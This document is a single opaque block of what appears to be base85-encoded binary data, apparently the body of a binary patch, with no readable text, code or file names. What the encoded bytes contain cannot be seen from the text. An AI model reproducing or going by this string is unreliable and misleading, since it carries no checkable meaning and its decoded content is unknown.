z#T{|s&=I?aflu`^;_!TW!49yPE&=S}uwq(>=_Lm+_3?B9Yh=@8Z#kojmw0@O6KaNL z^o)7xH1$t$;W4(wag7Xt*2u2YdQpqDIb!no$M3iW5az@l6QMpMmn%$f04;IFsrsla zO!Ce=w##GUJ;@_JB!5EFlx0Rj0S|bv=~ygld>qw0%VXySYwh}MQmcoGE6cfwmr>ly ztz#gNr*99}I!Bm~eN%<7RJhX+*D8sGlvyyDK0#pCEV!4%pY=egCbRkwMRH$>dF8_{wBZWMkTT~PLFSx+!lqfzG(AP4UWM4mqk~Xya zA>Q$os9#&}==6wMg`WPQiwzlgnhF4Il6A9bqkSzR+6->-JJo%j0zTIyO66dZ6u@l% z3oRXo9!{*(YIBRkA>)wOn5Nr-xT$Qb7s249Rsi2` zc@(Euv`AB<>!t1n)n8$$^J{i!1QnCUnx?$JE35@$Eux;#WAPtHJ4^>v2=GYGYw-a^ z3O>hh&6CcRLGzJaNN@>!Iyz_>TTI2TaA#=#6&xl13B%GyDE85LmctO3(<3-x&3lZnLzH^W$leV(9uXMPoqt!+D%b7QoLaQS|-JX=dC?#gZgGXUWG}s_O&H+J}s!YG6QpE)}7NW=SnRx`Imdy-1@qI z!}2@E^o$z1r5~&M18Ta5c)$~(%u-uY{xlK@UnGOzoH~tFr=9sD1MC0pd)qrvH=DAG z;*v}TysxcRedsVgD&n_beg94($$b6ppMgj9N)V7p2eI<}y0Bx^)es}}<^MS!48;gl zSeh5~0J}#8H@!rpV77QR>N+Z0Ukub)UbsEi^Iidv#HrRBR6E65fP>M&Ch9Mk5bZx4 zsfjJCe%A3yw-YFj=k{<7E0u!s;k+Sn2%#4{P>Y|~Ukr5R{`rU-fe%$f!Lq`!kXvwL zW;-${RQ!7Ek_gQx6Ih1Zv8^NbVW@;uQje~&Z-4et9s@D1AzRJ?xv3a6BfTWoWv?`@ zh8Mb8SV2~}#r~Zjw5-wn=k)P0uqb1=rgBzKwYm(!nN19asuI~Vc+BUAb~5HMZN2eazn9~tnSm9C?J8llD}XoYO#e;KjLXYd~`-_NzHE4K;( zs;EB05L=i3^oq*7B|MXXT9MgruFF?^T9}L+$xTBJozGZ;@leo5=l31|b92USc%Zo` zgYRhXkR;>^a;uEl@FDT=d|IFuDQ_RbW0&LF0_h~R3gse zW?Uh{pa)YURupMWz+Si1H5P_c4uiIiJ|8|<7ynEx*?X|~o7rzsr6PcEjpDl}2f*!=!X> z9;k}&mFz<_SUR+Jnh!oGEvv{o)~qwoyN)a^Pue>QVlMhX2_+zk82dQU6&%hs0k%vp zvNcrY#&Hpy27W7luNPz7oD~c3b)JT`X1tT;y9C&m&?lSkS%agyL<$Vrs+z4QG*#_n z7%yC2({_n(ftv=dy%=y#Nli(mwjE?fQSt^ZeR!JtSb?rd8_zPX2otIy?4s?$&SxJW zbdwFXkD25MmN3dEJh;d&a3l_*0CfTW=h&F%y-mEuUnRs%mg>rKHGiJ@j`I0IvgN7`0d z?oMDXxniQW;Ib&qE%+gaMH!pvxbr)<@3v77+^a zJsdtl9LdNcmBOs+TF)Qon#V+t0uG1om%CEKsX?>LCe?>_=+rp-o(j9Hw8+xO|Ainm z)wO19Nh73~i2jcdF-#vBCKk9tvKn$DR6p4IV(^?9U~7uZdfE`aOx6baq6WG2Y_d~ zxIHi1+;>-agA2VtXEv!VU6SxG>Q_Z7jL~H+7D?s#M!f~Wbos-|rJOIVyT|rNQLh_p zUJ3DpP-{|C;!w^!N}DmUj|%kWq8`t32C1BJB&NsgaYD509IsC&Y&sbY<^)Kq$h8V~ z>e-;!iYf{R6~bw2s)L&WA{gaGr#2(^fOdB7M%Wfx9_r%-F6@z#+_2VZ#8;%?j1oaF zjhNn_G6J|A?g-md<3~$69`2C=uJQ?yh(Xk)1h`S=S#+pPaYu)R(HBOG$^i`4lOpBJ z)6hQI&s7ZUMOgn~*?woHrIYp+v^4N|QPKtrtJZ`q^U_;2cmbkzU?-j+WCNtdG@2|d z6DNOwY%~Db*O7lJI?BfS&q14|O+|EG?Ub_~t%@?v&l7d9c|HjZFa zVU+RabD1EUUh4_i{8F69`zO1YeV6P%-W7`>!-N0>+QJVcYv+R6ki|%oxIVdYYbecQ z?Qxc~U9jPNkALqP^YWvhxZtfrv8=Xlq>SApfM1PaXvAgx0n8U@;)JTkMDI*p3NAnJ z3Ki9L(^x1qz=6Gz2me*{XyqtYGd*McrcI(ix$Q%UJLqq;Evo{VB#Ahiwi=ejCz4{kglfOWmwAYSER>wiizn2Xm>NmZi^(wwb;4IB7nr|2`4C!9Y+}B7X>2{gaWa zc9yu>-G!vYEzp7z!du7-U+3!YIqgkyweRw}O=1D$2bIq&@?_JpE5nVtZ8LfGzWJ=6 zFjM!~FV5@xW04SS{JpPSHp!Sh*eMjf9>|14z>qC#G*j}=dK1E6iWs$ zc?kqq3??_zQ^^9~R1IC(MNJFtJA@yygfc4j$PY`~RS8vGN3JgB!{KjAD^i4+XrJ4?77(5d`Xl8&7*R$GRUf6R8Fhpgub3sNto_>3e*wJMc6TlP59l(fS zinv?UxnbtYR6FgeaoU%5sEU}$e1({sb2G&{8Yv0+AEvJG?-63Ux5+qY)x|goaF1mi zg9Q)Z)TRn+Ck;Eh98`c%SS-!g>vCJo^$@c9z{ZOG~dkyH6H4pZ*q`}t)6Rp zwNC1`Nuf?^IMYG2#JFC`0S$k^h^&9sMjJ%a!kwmh2aEq>0nk)|x*KzkDhn0P} zWM+P%wLOmTqPF73&p`-ZFy|FkUIBVd0%u|H1Z&O^o>t;C31KMIHh)oK|AZ9P-N|WF ze#++*Io)X`3Kw=CMUQ@X)M%BtU!@r&6yX6{hxmcYWV?Yx(DhqnN}3>rgkRhJx9`ZS zrVDCDCq!>v-Qip)Fpq;jPaXYhMfK5)1{ui?(2o+O%%0v>&}ySw{slf%bjh=xQMN*7 zJq-&qijuHsyImACirhr6uZ;H|Z`L`1w){X8O7f+BT2w-0Y|k^XmL|SBHdEo(^Q8bg zAB^~jIwK_eRMjE)+i7rU^z)-~p;&AVc;x$AAXVSdeO{c8;uyVo=j$kR^hhGFEz+Mi zxn6x0k9v{jJ@a^H3h0|bvvh9bc2I0`pvKpPU~FbD`)NC;&kuCi{y13dIRl+-<+y7! zQ8hXW-cB1T)62bIucBFyI^%zciI0NH&KvwDliyKPV0$@Ew{_!hee0;#NYoX9T90-E z$NAD=F+Ge<5h>oI`0u2h94m2MkTywED2D4!=W5aG--7)#pT=~uzjQyTZ+U!Ym*1#E z!n#h3%ut3P>TrJ25#Dt$DB)6dDd%)eR^B;BI}BR6Sq8-c zPi18X*tWR|>a?E~#l(@$&$eB83k6^s{u3U>S7Y_1K^V067(Seb4__0A6 zC2@mR!bPvN?k(3HzKot%40NjXVwdS#Yn*) zOwr~1sj*Gkk3$ha{dx4(_^Nk~z<$slxL|(Bd94)-2_x&A!eD%Seu89}1FfiI8{K zY6eoE!aulf7}urW)%QUIcPRVDIpk|!hF7n46c?^bSb0-oMR*=AZVxTDA+1v=ZV399 zx<->|?4Ut<%qE$z<7RBhlYp*yM-K+$uSC$gqR)Yy+zKOr)Aq0OgUX2V_=x;$VT2K~ z=@9MsuxdD6hT>;2PGE7tq9ff(Jn=bUJk@Wm&6)OyjASCEyOUFHOX~pXr@eedZ=zwI zsF*B|)pExn@fiF(SZ=P6m`SJ%K_6%Wej7$|4m=T$_^@QZe8~+rV_>aB(J=GdMd4;@ z!~dV-ol~o@3>HH(PCrJ};?K&8MeidsPjjJlMw@SC8&%R>Nvx2bc2#_iZW zWYMTyd`hkxJeO3O1xGm^o=hlkmg3~BYlmhKwEZ)?JQOI%^OVk>cnWozW{^hjZZg{d z37|n1ZAxBt;Z_l{Bob|gKtR+?2k88E{~WJ5Pe-7S(02~gqU*A(S(?&`fYvpOMp-0= zke7^;@i14ifc%$D;>an~A7Po3;q-u*eZ+XoSQf9YWf3U}$a}0tT%;H^Zpn^!4Fd`8 z-eF6cykwgPt`PT|>cb>=XfB>ecJoNGsRV3&!4)UjrPHjGxApO-MmxxtiSSfom>WTr ztIs^pSAWYI62(W&l0S`Bo(<3gT8(Pkv@IA=LZ0EwtZYSSv_g6C;6UUU4M!WBE48&_ zR3%@l$NM}%Vp-2Z5`kVv%O_NpF)KRdGs2OsyY(bbQzVHdHDThnQ0zzTr5 z-f!CU-xZE%!iXPW!tDtDTp!Xx*w52$E5ZoynI*RveH1vtVQ90_i8!-5jy^ZK7QVOO z5pcj0)kZ!|he}k6yNns!bSkr>4tA&YA)Q)jcO^5}_mD^akj(t~mV2k6Xr&d#HDz@h zY%?PPd}R-8o%U|J_}sv_NLx`V#`cejljc_mY|stLCg|^P?@5Z`@N0KfYV#huFdpY! zWQ+Vjr`~u89=a%FEV84^1pxGeGJ_KN*ETGt9;82W1g*Up?rWv#j))=K+c}p7Smp1U zWJG%50CR8ptn_D3RDPD?V>Ud5vBDoE#!4LK_N9k141c1Ea{F>nV607jMX^5d$ACIX zL%TV{u;cSV7~{1>3$SOKG!LFGE=q|-BXoIFa1rVV&xYC=Scpmxlwwo@Fdb{EjZPjKZ$#8PL~Lx( z02B5=uwy+&f>(x~Twm|784e~@ED!r$jtj?)8x=^l80vw+iPlG)$x|kg_AZjbR1a15rSH5T2x}T%}twcXd?5abYzguaU z?3bQWn&JNNZ2rra5f;{7~5XJb6LP9ARVh=@$ zZ@0x+qIVg3A1mMN1{CxVo|JAXlg0tMo>597HQf!bFOBlGdK2l%7{2=Nvzj zBuFpKdMX1Hn-!K&gTN;=({yB{u<6b1+SNG0HP>Y2?9|s84Guc!C z`r^puL$0Sv)E|23V0ti*{CMH@5{5M2Et})HFT%!2tL_Z*3!}Yj*~f#6#VSs01O=j9 z%}}<7EZ+TzL=RWtfiZG==H8km#HXg+)n&5yI^KFD3GT57b@3q_)%5kF|zPB%B#{ z*Wo@)yKCA>UV4vwDId}|GIzv8UiJp?-uPaORk!f;2YiUnCPA_vCWsYG&Dq&E0H2#= zhOO6`B070!`{Y&2ft*E)ocgJ4Y!@~^`sLw!5@9qz?! zA0zh=sl$!sX@wF^u|4o3E{iV!1iw2?HBx$ch7U1>kOYIdQ>Z4!_X%k&jb@lFdxY*$ zM8exbRw9W)$&u-8FbIr0RlmQ_!W%fF^$Rll{w%KSp+1^Exn4N6-PNtytI4*SH(*lm z*iSe3(15OIwBQK2E6qDv&3S1ur8)G>m_m^WgCFXKr8dH$Xj$4hpzchvLaz2{$s}(> z>4=d3 zv2yal%c4;i3J3z}nIuov^e&hdJ*zaBoI&_W!_=F~@ryWDaEfd)goMhfB66xhQEgf= z#*R?jNJ<$_R8uFn8hKyNU{RB0&m8F2=MJ~N^WGP`qm)xU;nWy*qAOK>uyQf?}%)W zMOYEVu!<98ifH`cz7%yXew!g1jaAqGX}!pC;<)cZt%n(%A#|aYX&x`KXk0z`CdR=WxzOiNLAh@MFNCcyTtG%?YAie zF%vrgpr^K)G}>)2rMXjzH6bVfM=ac2SXVIS_@ocpKIUH7$Gt+wyD;uVH_T#MTd~X( z+RqZFBlVXGr>imo!;D*KSAPU%nrw!yqK~I>HwMZOWA}XdNff`ykK|0d^Qn=~SoHxP zo#&Tq1PTyo5wM`X4|()f2gQ%IA{((JrT8qjEpx?#oS9rM3ew^4^|78bNaz|OowHqi zmB{=c0?k-0X(sTN%vKv4UN@QJD(Zz<-;o&k)4ZnI5i53y^)z{K^<|=9xzY?`bQ(uu zZc%#u48#&!{4IZgax6F;Nb1h&$ki|j3rB0<>T{3K?)iP(e8u{#N{k=+UR~x3hh2xR zJg$QrTWaxV+8xCi^tz%@Y$;x<-VzOi3`(u^R`=9{E8s-bgsL!hHZwI(q=3tAW)Lg?4Gp(!r4`W z=UGAVvU%!3SDF`XD?&Pa+G#K}jKFX?y?26U%Z_v-D)pr)IW@lEulfLi2AnCV1!kkyZPl$SF#`+I*zx(7a<9`4=}9 zZBxUZzYje0M#urIh3F6?zh%|nHX?GzPSu2;Y?wVm(-yLCGd-#_wTv9#;n$u29Iq~F z)7BibZpTqse;qfWgH2!Cdq)5f`2)|*o+08TZo*sL5ezBHCvND$jhIn->#Iug(~S{) z-;$RW;oZx0uXU4e#-k%66=LbseGvgDKo+EvG!kuDb&2zc`_u>lNhm3|G05dxArCC% z#$oMp;3fgDJm0-;Z((-MF<;fsL|KF|9(q(7=>rC&4DXl5ftnkK%tosC@cze182Lxu zi;iQ{Kbu?UCYex>MOn%$`Dh%n;g`$7g>+JYh262|mUqFG|&jNZpeft1cu zI7!*HqBjgr7F)&5xzN*@w8TT51vS&w!_b0C7;F=ZF>kM<8WP6dqM<0fWl0p!>A*N4 z2A+9VjTYRo+BdCSv}@-5eZ!}Knhtb6`ncfyF0j7T#CR&Nw&Aq@w=~=`UAJ_9GVcSV z6xpEr8cc`bG3!5I3HSu3ZwswI z^tU(bBn~7qNsS5Dp+KPh1&~VL`8~rcUJ!=8^;NmBBWk{WJc6k=Lvjy+A)Jq}{3a4g zlDr+ybCfQyKeN>2q$)m>;AO(lS_9|lpq8$MHlW(I|5DNPaHSOdVavPApnMrTDs=wDLNnhApSk@yX(bj<`5#qTJvrY}$Omk=A-948Us@3oM zWfOIjebhDR?>lqm0k&Fw;hBzQW^Qb0-Y*0sz~HK6-9BVl%rSpr`0K0N=BlV#bZF1Y z$o`5u4RrrB*Sj*P%$`phwvb$4c4>+SI3t@8tP9pNh>$@!E}JblC3bp{7zMGD z!m4kd_jLtCZrTOif?s=noB>)W)8b3Y1ZcR|q_j2YA1F3nJVyfGBts#!{tX_ZQ!!AUiL23WUho{XAe2KqTy3UO#hi@|AE6-8W>I* zndsi)zB~y~&3cu-A$^JbT*1|HXtX8wjeVn>cLgr}QdXQL&P)rGKbJwxZCT zO={jEWN_y$q}<-mD9oKq@TRIPWK*&6d8sCK@r=ED0}A3k+?oz}poI9_i(;oM6I1M3 zcO2uYpr~qG(1-mH9U7tbkbf*C2WOpj+N^y;6&5*3&F!%JMo@OT8lq8&0hX-JP4*|R z8sV*D8UYJ$Yr>X&ug~(hoyg>&{){!Tr%6!s-f7E%1o>hhMBi=;i|@>ymkXnf%#q6XDNv z>BXY7FG_ChGh!-W%;T%Xz8!9iI?`_Qt^)7+Ta)R_?ufo0g)v&@IjPKS8#@hJKX8TV z0lk{!$HM?Zw(L2yTxWE6fP=V;HSN9wy7y{dl@(vTU$|QBByTZX(G}}`P_G!yUkJJO zO0%g#X9AnCMuZM~B+Np&*o0Q%~pKZT%Sh62R<`~{?l0D+_iOmSrA@rxs zA$!Qysj+^t8I$dChIgKiXBn3>;UD^y)c7Y<1lm?Vv_beLnXiOVAz|>(yV7v-6HQeA z6gqF?WH}&c(}r~x;L=jlLVrWKYGb-+)Yly$?=uY$OoJgQtBcs=c+jX!LTD-IFJWp2vT8V6dTaRyu=H)R{rpCZ_)YjCz1I)kyss@`NkX7K683bJD>>P$+Du@g!OFi9C!v+J}OV9_a7H+GJwY9SM zJwjD3ke_i`;`R@BeWPA4z^@q>rzd^2j^SQqJz6_^p6j&HMvtHt`(&)N?udT`T16Az z>EM}xfn{^zARP85tmL)aVufGBLh(k6dK%iXdGA2$xV0|MBy`er%anR6tcW4nq8*Qi zP%TI3rKMSu8DL6Xp0t3IXHgvV`)1J#IeJ-6Qe`A&#$`-g*%5opw_r9tXck%Hm)k3& z$HcLnJ&U{CEg<+^D1E>V8HAHyFvRRE22aIV5*Qmak?yLrJ=XTRAti5iO%UGgz|AC6 z#xp^)diKeaVl<4fq)X;@2*HQPNx<|CX78oDjki6#0BjvdQCo_RLG%zGa z{$Zfvp);H(gYH%vW(d-JHD0}jeru#{ErHL)S9Ox zm0jUbmIqqXOOqeZg9RYt!p6B>>b;;P_kk9*W<9i`AA@A7L?M6f$&LU;wl%WJypnOy&~RiB z&I7Ic19l$V?8W-{6a&js4WV2ED%s1r<@Hf1w67A83;u;7olo>Z4V`4gkh18M-QbMA z9ET6twR>cB;6bPd;kBuZEZ6uH#a-Tfy7~fuAzbKsyvx2^1Tg-Xcy_@uSqXGcU#%vv zSz{&FEtPy#ok9Bci>GHrz|E2FB=_i9sThsrTNb)uJHq!$6G2SsTet%9DUGusQ;`WC zJ>qUg2*@9cna|Kc{_Fqy1R;UCll+d;gwv#LEQhdM3Ps^g_q*aSu|~C7B4XJ z$4LPWJWxvFf%%wI+Be~s6tlu5j{p)C;akxaDLACxBtVnpvjpR}$vxs_N1pI{ZM>Zb zGk+vPh0xR5&`=*Q9Y^zKa^0(r7kBq37DBNz)UaZ0A_`q&5_Pw#6rQwsAFIz~O4`Ol zX+4aTG$GLR$7~t~{qb%P9O4!F7-Wd*K-ie)d25VG?`5O38|>>s4Kt?HJirOzU#5|n zsi4P3Y+1d;VI-ssG1V;#k0avq!Pt9ERhb0Il0=TN+@)0>P3Ni|abT}%N4xNUp~fhz zaMDDq=;pXpdwQSgI|`9%kUYnW_6KGApdg*AL^kMRE`y^@#rGv8E}5gyx|&I*o*-K+=GuPY{fiy1C!x#3l#{1rwdsHY2)Mawa|ZBwF68fN#mxe5gY;JOQ%a+v#1yI{E2(eUCQ(VsRuWk4&U)U4a6cPbay1`;d$& zJ@gs27vJ_jbcbA^ru?w+e+I%|XXK`oBn|&hJD;qOenpL$Px9xYd)RhgNEL)LJ(h5o zw@W?F&o>J8vf9}8XJZI>Gmw?B(*`_)fwz)QyiK<=efxK9umzn2EtL_Le1yg8r`1e{->heUDC8R4ptlcNe`kOW3Xv23Dwm3~% zr19!cLfTBVIB8(0-Q5#SclX=%8vB`C3HfQO?m_DI z;J`D%S~79A!`EUyDG}MeX*G7n}?4H`Rxm{cfDq z^jOuHQ|tp=FLM|9uSdJr37A~&2*8g2lfTfmqcQmebvPHAw?a@fCsw<0DHv*lka4yz zUt0_0O?yJyq&ryQx_4Ajgk?7Avb7>Xc|`#B3{=OKr}7bRAchbmAo~X^+C-&H5Na}- zPLj9RPpVqB3@9lb3rsA^%L=-5Rt-}rLTw!3LqcYIF1Gp#EpLk^T4hzk)_L#lyr@11 z?m-dbZ48<(OPimd;4I2+T3n7yKHelL{-OyDaCc)IVTt@zEJZkgs1S(NH-$n|&t9W> z!E4kqc0j(_s#dm08+nk%FI4^y6d$NtO8j%yn!?^iRmR2Sk3oVK_wN`PBQ z*lrRzPezRpj4llj$=JaRtNt8Cv=4&TT>o41M`6sR|FXWpz$GY9Ly9+1Gt!n+tmV?N z)Zo^?1Soz$&Pe>M;z8$DX{%4QpN?-X#6d9_LiSr3PY0USn`J|?)lLOg#lFqE#F zd!`;T+gM=eUhJf%I*5E7cc5}qN|x5i^$bY(n9vbZ9YJ2)d{|9Orl`{9JGbX+J9U`0 zrQyz^N+-KU(tpck=`x>%7!rjwsBY62yd#x2cc?1>!co5b+EwEeAxJTe+8T-qT$fV> zL%NLZ)TOkwWS!*8LH!kkA6jXTM7Y4JCwYp6(uC78uTJ%2p`X;ggru2`H&lzey&nM7 zHIIH*+PBvH%*TJ2MFg_>iz=J%=NqhnP%b($YdM*3l7F{iif7tArdG(+6z)yiE5-VQ zCv%#?ux(EU?VYUfUSJ#$$9JpMRHpr2B5&ZhKbOTpX9e3IllUa*)fOq|8aAmIpDsCU zkp&u+elFJist}%n6}o&?wY~kUZk0uX7NPm%ZWoA_4?~cA#5LyYzrG#%~%>DSWE(qNxtZzVgbg^ajBN*4n)==>3 zsR-(aG2CH$6Nn(YaF`W~4=8YNYE<*dmJ9yq0owBsa$Rw(;%lYNfWWpPU51{K#@EDz#c%(%~_$+SjEPWHJYT z^!mR`z!{1WDPB+LWSJ|=-Z4y}D3-V)w1aCJU(x_@@aW2<&52IM6O#aB`+C~1lCr}I z?3P6ZRbdi)n{|zQI<);oY{+2EMoR-x@~SHhmID^f(vni) z(O9nV5D5$lrNf>C6%bin%$EME_eQvyb6Y{bWv{59F5R*0Kv@kt2-gKF&hN^<9$+ez zvYx@ZRLv`EbTMuGPNU^}fo%e|b@E~yGdX@NfH3%P;JX>Bo)$6APXO8=r1*s38k~4E zm$(Y=AiUtZSzVkPy7`;wk@*|D^f_AeA^w@7<1|QRyJ5R(97$ZWSrP+ttC|GpFFJ;c zg$Cj+uw&%O{RIttRmD?`f)M(JayEAdH0(MHh`TqJvh4 zj-^Zkm}V(;R(Nv$^T}Gc6b9HuvfH)O6_)APc&9(`9@Q%maymM2dTLVuTw-Cez0W7n zuX%S}^y(MNh~Vo#e&kc_lg6Y1QU@GFb8daZ!DXp^t0`CuV7wMtnP0UwCJmw~(kaXL z;kI?u>~&W@a(o+0aV?gX@=)JIT_Nkt_Z;M8qJO-4RkWqLX;7G0M^{!iCEZPc-}Y-7 zwIN!7-*yQ#Wh1%_-M@uq``vj%Rrb`#wV0b~=mU3d!Y4m2+;u)i4xFqk#3a%e9NdE> zV#s!F(aRYbf6p@3iLc$|K$YkXTsjoZc$pdzTcWE0^3GwNY!@Ji_|-~BPF8v<%)*$q zo2_GtT>1z8#^QA^|s;SOPWpPRF((; z%9Nz5UD9D;C45?-03?1)HHsHOKNw3zfYg!{5<+`X-9K?yTZ0eVA83Jx+jJy z<(GHM-pzZo&he@F{FSVaV(H^9-?+4$sd!;A@?s%@k%=5+EvK_x6@8mV_CPec>)Ks^ zb$bN=N3MZ$}9RXmK&iOse1s|gCn&vC%_74llzQcv#N*wmwMue~+8@Keh+3_47)e)QpnEchE} zp5~lgIZLw~u-EjVQ*{Y*x>Li>mB?^%zAn6u&k%3r*^1aXY@P7OB^W+W3a#B-3{1S~ zO_sX*4cw%s>Q3Pq4yU^B2)?I0VazY1q5l_J9#RYl+f;4> z^_$-oxoB>#j6DO50WY+bjU$~xp^w4463Uuz*q$WWd75YZeNZi#QYRk=XcLb*& zy+}~E5%eXZb934wb-*0e#2F3IqqUwyFOK7looYMYnj(+{v zd!fdWRc20&*x?p5hc}(q*z_iO1kQi{hi?}9a}b3+)1c1F)TviaV0Bbr`XiM|Tw5o3 zp&7_XP@^^uvL-;Vi(m|Tfl*QPah}EeIX*_SF<>qrhzwf^j7ita8i@Rujg4+FgBW_@i`t2^br!g)p3uF=uGKu zoWtSRWnf1N3?!c6LFpi+JUhW1dz5}`{}cYuYORCTTVbwS>dQxJRm z*oSf*4!{(LoCiR}jR~dHm6Lhn7k-)wet-?a@quCg7lHV(Z6~APe31wGCJ24ayK>b=r^| zm+E9V0`J;Wr0Ag27lB!W0W%V2+~|RCZd3{_PPD>obba7vLMeX%f<>J__~Fz9gks_A z#M9-0%Xc$>M}ArvYEq*M7%%GPnt zZxPFT`{E?svj#PRCFc_u%*O?S7SvJ{7B#BGJWbSJ9uwT%e9FRO_5YP^L5Dw8YN&X( z^^QXE=&Q5IDlh&kbq6*b#H5nJkB)`}WD{Tf>{TWo;fZ6h1Zu=2bx~ho$DhBuJuwVk z@n&=T%sq!ekIA*i2Qk{Bdc=*zgo}VsxYZi?^#c&P@#Mr5oC&BlpVgUwTuKhde(Gh$ zc;V**PZcgqu_B{5vChW2AZY_0R@uzG)@$3k68gg?H?m*Jd$-5A=9f)&obqdWC6tXVZ?Y{AKn*qr+N=_w5YbXW>TA!_2#@R6YVGWqU+}PTJ z`QTP2rmN-aYlf;^vHTf>NU)&)0IC?+(%y!`^fo4$e0^C?rEN(yo2<`le#x<)&lGZt zeeV`L<<*9}Ltbhxm$N!XfX&=)?}?SSCIQqF3@*yMk~O;z=`bSmFVHT(&Wv>qck|Zs zCyyZR$nungLg`2Y1pr0)^0{^I=4}jsvd}Ay<<0BOZ9*1|Wg7kVI+r&Cwu+!`IM6!( ztP3;zeLj1ISNt2HQxSoGC3|p@3)>o^M7@Tal(0&6Nl1rmngaDjQS9?qrL z;QK~UAjfo-Ru--V79D#@KQpEYbJZdvu0*EQ5PKTOCcqpNL;#9SC0TMIDKFfd6!?`) zzF!d}o=dRi%;I##QPR=d5|(5KeCyCJdCP|NS@05GdpykLbyI*V*%Bmr{f0^@7B@jd z(S&yk;{aN*B|_eWd2>@X?D8{4Wir!WJX8laBWUv6r^z_2ylM>^`RR1pXY#1J;utBb zV_tbz*P64N!$mN)XH(o#{ScX<*H;SwEkM%0A6MH=c*+i+zU(-qkmN#n-kVzdY{l6a z72Yw*hj)+#h6lp%CeU@Od!T>v&H@Uh5}_=pfJz-NDA2(t1Mund6Agn}Nw)asvVUP@ zZot`@iIEiY5 z_=w$nnqF|Uw=(-Q_Sd|fW}gN zb9AGek)5;mI7Uj^Z}~rJ0f3!5VQuhX)n-^L=q2ICeA1%MN@_BDqJ}!j8 z-stnlKl&46NLui&wj9&E|31OgE5igvW}amgzmd>7USHItvgQPkuyo$l+`)VttJ)n< zH^a2`1cbZjaUqwLPH3)hKtC>y5o|ZM&t9pCDRWG8iX2>@E7nCgLY{D1R+7bHjUlAR zJrzh9W4=1pGM~D{xOB*HVlF1*87hB5t4#M*c&ykgGNJy z3qUM%v*bPrs}%WYK5}z;pyd7kL}2Ys{!yG2%1W#@X8n@qw_g9L5*iCiRcnx@nXJ^y z^1eD*MobRxBM|()joYSuYu$wqonP;r{k^*{WkD-&)1Cs9ZH3r$Yh5$M(3fCr<@k4z zmR@!*ya{4`&2My(+sq_~e2z?lU6%_ReJAG@J#+N2kee98=O_L7=(YP0cp3F3TD}A) z_iLn`Oy!OVD)qel0lK6qRc)05IyW_~Y|uB%Qw^t7NdbRvtOOEfq*_IxZ^%7}bKxYx za_ngtvM{-^#isDNW^b^a$? zTxI}i-aQ+Qey|MyYza@jCDJrUeZJlWtjNl4iGw=DM@v%;>FG?#H1@<(o*?}U-`Bl6 z7JsV`HgwQ9aW?6Y7iZt+BJPQsm1y)O#k7aI=MEA6&(h*0e4CR zB77dPR>ef|U-MrkgJ3Fxaf~jp0w=I9Un{ZuxeSu)gbdFw}9gX%unnY<#mfY@KtUZq3?X4}J zbxsmQ_Z<0;Sy7T|x>!p77AXUi;G%PC)bow>rDQzLdj79b#{>0`dEn836_rdPxkW>U zPRouG9efC%BNoT>IQjQB?)sh3hkAee*ec({2=Mq%6pSNRX@U^ABhYTC)eT_W8(I>i zC)i{Bl@xV_9)Ll#3}-$Vn6#DGm_w5+rNT#S?N7PfTcEjM0OSy+;(ot9$xeuaG+qf& zsiDtBiA}X|dPm>#YJk+7yC~Un9kRyp6rwsVU)w<7o~8HQ3XbU(>cDlB9wNKj)tcojo}`tL5VYz2JIfWh>F!^uK)<&u#_fCNj%U~~;f79nJN zWGSWAXcCSbbbr(St*kh{sKqgoCPs{l{HmJ@67p$e$tf46T7-o3TxC(bm_-} zU-)5m5(|B&`jYG&xvwC@Ks%Qv*njWwE>tmfmwT^K30tg?TV{=k@ z%|V=k?iDSOL0XZwXp?XDNqI#EBci^?BqYVUA)m=0{_O`G_p5owS!3dbXAOOp?9juofsSZm>{SLP;?o4 zj>;PDcb{IF0BulGy=rH8i%pQV=wLWK@6*2dTiR^0nvseogf^NYShc7*2gZM6^|-?X z=t<$A31s^`;GHCFf?&{33zt$Q+VWKGDd?wxS+6-m8^~-+-F=Qbs}P|2Brh=d?MD+D zqCG*tQ!KU0iW<`mXvT^S1+8jqC6n8hdEhPk#ol)mV|ye!QQdxK5UN^;mUaJOKNV_< zbl_gPPW1`M%Sxx|t_EXp$+h1DW*n))_d1`NL^-C}jJd*ujb_a5>GF%^oSMKy66H!L zny5^P<`|Q*E0-vPSUTTX@Y{z;ezf|#)ADO z*}`m0C;aMb-;y0U^iknU^}@~oa@d_NrQdQxr@M><;b=lg>Vg3t!*BnsY}R+fM}Bs|6^O-aw$fWP$MEiB~^eETRtCirN_9$+LI!qydU9K|%WC5Mxy0>i{C zPbqh1gH|Tidmx$*V;VY__wiT7#~;TH1{*$9`~S46uy?FO4U706H;FH)bod$ z2PMQg60>lx9$P0DJoVe@Wpjc^6^PAh)C1>DnlHhK>xz(e>@YFM&7g@LtT zf}`eG{q?&B)vr$brQbbWg-JGha>WBzPjE~;#$nS_qluUVa4TrJELs*MjdKU^g8dbC z5qr|&LspYNW-s_`cvKgABd?x|nFRQ9qKNt6&O;d1&nn&}TaD5-pXC%RhUi`buT0|8#9c&5nN8@FQ`~hG z=Yq@4sHlyC4RJg{5Xh86cb9=k28Y5TOccGqe1G^{4FeT-@t7(3FLy<5{aPmCyz`0N z<6BR~E&$sr`X3^YIRxY;FFE{8M)cJcV!%O zf^Pb3zU<+EWK!UsV$!}X0YzFGUz3Q@ssx~YN^(Z4X8Z1aED-cj-d5R?0e2S;#qh@u zkHq&!npsx;%4m3F^FVA)h0P@8=RXe!38`>3I^&b3Dei6iGU++=03mF)^Qf=T6J@#3 zw~Oc(ESoERuArIk{HbJ9+@u0~Aqkk{1)*K+$i0A?!<6yud43PDfz zOQ{;ulI;~{jCaHcMEKW>=h=xeG$Meh3$`!Eje&QF+E3F zwwLdXjpQ|Ztvonrqa{ko^@wv6{o$(L?RX!JkZwh*yPj{p+5!`kdAkR`_H^~!{}9ZU zU-Fln zJ%XY0a4x*j*xy_?W`MgvQ|d$4|NS!&oS2MaE((&7FrD~FxqBTMjL}d0Ey;9Ih@#(u z7d8Z`Bh}GE?#Y_~(m0^7)wux&B1Tl8C*lwQZK2|3@cg{0J~r3BfcH02C!x!E5x6pc z*G6Zpl-M{CA-OG1rblWA(J17r1#8r%!5tX&B_2Xwe$;ZuA|5V}+@s+gV`$J5A0Ozz zXk?a_e;+~_R+Ky{uj+SU*_c-7DDr&Elmm5E zzkLV-OwBnj-!iXv$kp%-%yCsa;iFo7^4xV$g!^Xv&zeT0Z!9=r-+zru#p&#fJ&ei*x`xl+atSaYV~SC4W}ZYA+( zt%duk5ER4I)9Oz+jP#Ny?QRwu_iCv&JE#;Kys-vRxWVv&QetR>#V=XAtdmkowTUb} zXw@ANfDh~Ctl&*@2WZXReWq2nub@$)illN(G0L26HY8Dz2 